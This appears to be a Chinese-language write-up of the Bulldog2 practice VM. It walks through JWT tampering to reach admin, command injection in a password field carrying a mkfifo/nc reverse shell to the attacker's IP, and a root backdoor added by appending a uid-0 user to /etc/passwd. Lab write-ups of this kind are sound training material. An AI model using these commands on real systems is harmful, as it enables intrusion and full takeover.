渗透测试-靶机Bulldog2

参考链接:https://www.anquanke.com/post/id/160755

攻击机 ip:192.168.60.230
靶机 ip:192.168.30.231


图片.png

端口扫描这里仍然使用 nmap

nmap -sV -p- 192.168.60.231

查看到只开放了一个 80端口

图片.png

访问web页面,通过指纹识别工具查询到编程语使用的是Node.js,服务器Nginx

图片.png

端口探测后开始进行目录探测,这里使用Dirbuster

图片.png

没有查询到可以直接利用的目录,访问web页面发现Register功能
点击Register报错,查看源代码发现四个js文件,在main.8b490782e52b9899e2a7.bundle.js文件中查找Register
注册要求显示Content-Type字段值为application/json
必须使用post方法提交数据,地址为users/register

图片.png

提交参数有四个如图
图片.png

浏览器抓包更改数据包并发送
显示成功注册
图片.png

登录注册的用户,登录时抓包,发现返回包带有一个JWT开头的token字段
百度了一下 Json web token(JWT)的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

图片.png

JWT解密后发现auth_level参数
图片.png

再在js文件中查询一下,发现值为master_admin_user时为admin用户
图片.png

auth_level设置值后,返回进行JWT加密并发送数据包

图片.png

返回web页面发现用户变更admin
图片.png

在修改密码页面存在命令执行漏洞,反弹shell
kali4050端口进行监听

root@kali:~# nc -lvp 4050

在密码处执行反弹shell命令并发送包

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.60.230 4050 >/tmp/f

图片.png

此时kali成功拿到shell

图片.png

使用python命令获得一个标准shell(直接获取到的shell是真的难用的不行)

python -c "import pty;pty.spawn('/bin/bash')"

图片.png

拿到shell后开始进行提权
创建一个新用户

$ perl -le 'print crypt("pass","fairy")'

图片.png

将新用户生成的密文写进/etc/passwd文件

$ echo 'fairy:faa8LvXdAzuag:0:0:fairy:/root:/bin/bash' >> /etc/passwd

图片.png

查看/etc/passwd 文件

cat /etc/passwd

图片.png

登录刚刚创建的fairy用户,成功提权至root用户

图片.png

你可能感兴趣的:(渗透测试-靶机Bulldog2)